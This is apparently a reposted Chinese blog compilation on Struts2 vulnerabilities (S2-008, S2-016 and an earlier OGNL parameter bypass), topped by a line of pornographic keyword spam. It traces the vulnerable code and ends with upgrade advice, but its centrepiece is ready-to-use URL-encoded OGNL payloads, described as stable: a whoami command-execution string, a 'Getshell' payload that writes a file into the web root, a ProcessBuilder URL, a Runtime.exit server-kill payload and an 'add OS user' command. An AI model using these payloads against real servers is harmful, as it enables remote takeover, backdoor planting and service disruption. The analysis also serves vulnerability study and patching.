日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

struts 2 漏洞学习总结

發布時間:2025/4/14 编程问答 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 struts 2 漏洞学习总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

struts2最近幾個漏洞分析&穩定利用payload

http://drops.wooyun.org/papers/902


0x00 背景


看到網上關于struts2利用的文章非常多,但是對于漏洞觸發跟蹤分析的文檔比較少,閑來無事跟蹤了一


下struts最近吵得比較火的兩個漏洞,研究了一下能夠穩定利用的payload。


0x01 S2-008


Struts2框架存在一個devmode模式,方便開發人員調試程序,但是默認devmode是不開啟的,如果想要使


用,需要手動修改參數,可以將struts.properties中的devmode設置為true,或是在struts.xml中添加


如下代碼,


<constant name="struts.devMode" value="true" />?
實際上devmode依賴于struts2底層的struts2-core.jar中的DebuggingInterceptor.java實現,然后漏洞


也存在于此程序中。這里我以debug=command這個邏輯下,測試漏洞,我的POC如下所示:


http://localhost:8080/S2-016/hello.action?debug=command&expression= %23context%5b


%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d


%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c


%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a


%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b


%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b


%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get


%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c


%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29?
首先,這里是devmode的幾種模式,


enter image description here


繼續跟蹤DebuggingInterceptor.java的代碼,發現問題出在下面這個邏輯當中


enter image description here


跟蹤參數如圖


enter image description here


可以看到這里


String cmd = getParameter(EXPRESSION_PARAM);?
…?
writer.print(stack.findValue(cmd));?
這里cmd沒做任何處理,后面直接findValue(findValue能夠執行OGNL表達式,具體參考官方文檔),導


致OGNL表達式執行。


關于這個漏洞執行,其實沒什么好說的,關鍵是這個payload調用java反射類(可以訪問一些私有成員變


量)繞過了struts2限制執行java靜態方法的規則法的規則,使之前apache官方的修復又白費了。因為


struts2在2.3.14.1版本之后便設置#_memberAccess[“allowStaticMethodAccess”]為不可修改,而要


調用java靜態方法,必須要設置allowStaticMethodAccess為true才可以。這里使用


#f = #_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')
#f.setAccessible(true)?
#f.set(#_memberAccess, true)?
這里使用java的反射機制繞過了限制。另外,還有利用java.lang.ProcessBuilder類的start()方法來實


現(ProcessBuilder類是用來創建系統進程的,每個實例管理一個進程屬性集合,start方法用來創建一


個新的進程實例,并且可以從相同的實例中反復多次的初始化、創建子進程。隨便構造一個


java.lang.ProcessBuilder的實例,然后調用它的start()方法,便達到命令執行的目的),但這個算是


另一種思路,并沒有從根本上修改#_memberAccess[“allowStaticMethodAccess”]的值。


0x02 S2-016


在struts2中,DefaultActionMapper類支持以"action:"、"redirect:"、"redirectAction:"作為導航或


是重定向前綴,但是這些前綴后面同時可以跟OGNL表達式,由于struts2沒有對這些前綴做過濾,導致利


用OGNL表達式調用java靜態方法執行任意系統命令。


這里以“redirect:”前綴舉例,struts2會將“redirect:”前綴后面的內容設置到redirect.location


當中,這里我們一步步跟蹤,首先是這個getMapping函數跟入


enter image description here


這里一直到這個handleSpecialParameters(),繼續跟入


enter image description here


enter image description here


這里真正傳入OGNL表達式是在這個parameterAction.execute()中,繼續跟入來到


DefaultActionMapper.java的代碼


enter image description here


這里key.substring(REDIRECT_PREFIX.length())便是前綴后面的內容也就是OGNL表達式,struts2會調


用setLocation方法將他設置到redirect.location中。然后這里調用mapping.setResult(redirect)將


redirect對象設置到mapping對象中的result里,如圖所示


enter image description here


然而上面的過程只是傳遞OGNL表達式,真正執行是在后面,這里是在FilterDispatcher類中的


dispatcher.serviceAction()方法,這里的mapping對象中設置了傳入的OGNL


enter image description here


這里跟入方法最終會在TextParseUtil這個類的調用stack.findValue()方法執行OGNL。


enter image description here


0x03 PAYLOAD


這里我結合之前幾個漏洞湊出一個通用payload,目前測試還是很穩定的


命令執行


%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d


%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c


%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a


%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b


%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b


%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get


%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c


%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
Getshell


%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d


%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c


%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d


%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%29%2c%23b


%3dnew+java.io.FileOutputStream%28new%20java.lang.StringBuilder%28%23a.getRealPath%28%22/


%22%29%29.append%28@java.io.File@separator%29.append%28%23a.getParameter%28%22name


%22%29%29.toString%28%29%29%2c%23b.write%28%23a.getParameter%28%22t%22%29.getBytes


%28%29%29%2c%23b.close%28%29%2c%23genxor%3d%23context.get


%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c


%23genxor.println%28%22BINGO%22%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
同時在之前的struts2exp這個程序基礎上修改出一個exp,整合了近幾年出現的幾個高危漏洞,


enter image description here


程序先不公開放出,大家可以自己用語句測試自己的服務器是否有該問題。
========

struts2安全漏洞

struts2漏洞一般指struts2安全漏洞


Struts2是apache項目下的一個web 框架,普遍應用于阿里巴巴、京東等互聯網、政府、企業門戶網站。
目錄
1 背景
2 內容
3 造成的影響:
4 應對措施:
背景
Struts2是apache項目下的一個web 框架,普遍應用于阿里巴巴、京東等互聯網、政府、企業門戶網站。
內容
在2013年6月底發布的Struts 2.3.15版本被曝出存在重要的安全漏洞[1] ?,主要問題如下:
可遠程執行服務器腳本代碼[2]?
用戶可以構造http://host/struts2-blank/example/X.action?action:%25{(new


+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}鏈接,


command goes here可以換成是破壞腳本的路徑和參數,比如fdisk -f等,造成破環系統無法運行的目的



重定向漏洞?
用戶可以構造如知名網站淘寶的重定向連接,形如<a href="http://www.淘寶.com/item00001.html?


redirect:http://黑客/getyourPassword">打折新款</a>,引導用戶點擊后進入釣魚網站,在界面上讓其


進行登陸用以獲取用戶的密碼。
造成的影響:
蘋果、中國移動、中國聯通、百度、騰訊、淘寶、京東、Sohu、民生銀行等大型企業的網站均遭毒手,


運維 工程師苦不堪言。
應對措施:
Apache團隊緊急發布了Struts 2.3.15.1安全更新版本,可升級到此版本來解決上述問題。
========

struts2漏洞攻擊方法與解決方案

http://blog.csdn.net/jakey766/article/details/7973965


近來多數網站被利用struts2漏洞攻擊:


http://www.cww.net.cn/tech/html/2012/7/12/201271291781936.htm


1、原理
Struts2的核心是使用的webwork框架,處理 action時通過調用底層的getter/setter方法來處理http的


參數,它將每個http參數聲明為一個ONGL(這里是ONGL的介紹)語句。當我們提交一個http參數:


?user.address.city=Bishkek&user['favoriteDrink']=kumys ?
ONGL將它轉換為:
action.getUser().getAddress().setCity("Bishkek") ??
action.getUser().setFavoriteDrink("kumys") ?


這是通過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用?


ValueStack.setValue()。
為了防范篡改服務器端對象,XWork的ParametersInterceptor不允許參數名中出現“#”字符,但如果使


用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護,修改保護Java方式執行的值:


此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context


[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew


%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt


\u003d@java.lang.Runtime@getRuntime()))=1 ?


轉義后是這樣:
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context


['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean


("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 ?


OGNL處理時最終的結果就是
java.lang.Runtime.getRuntime().exit(1); ?//關閉程序,即將web程序關閉


類似的可以執行
java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增加操作系統用戶,在有權


限的情況下能成功(在URL中用%20替換空格,%2F替換/)
只要有權限就可以執行任何DOS命令。


2、解決方法
網上很多文章都介紹了三種解決方法,個人覺得將struts2的jar包更新到最新版本最簡單,不用更改任


何程序代碼,目前最新版本2.3.4
下載到的更新包中有很多jar包,我系統中主要用到以下幾個替換掉舊版本的:
commons-lang3-3.1.jar ? ? ? ?(保留commons-lang-2.6.jar)
javassist-3.11.0.GA.jar ? ? ? ?(新加包)
ognl-3.0.5.jar ? ? ? ? ? ?(替換舊版本)
struts2-core-2.3.4.1.jar ? ?(替換舊版本)
xwork-core-2.3.4.1.jar ? ? ? ?(替換舊版本)


本文大部分內容復制于其他文章:
http://my-corner.iteye.com/blog/720209
========

總結

以上是生活随笔為你收集整理的struts 2 漏洞学习总结的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。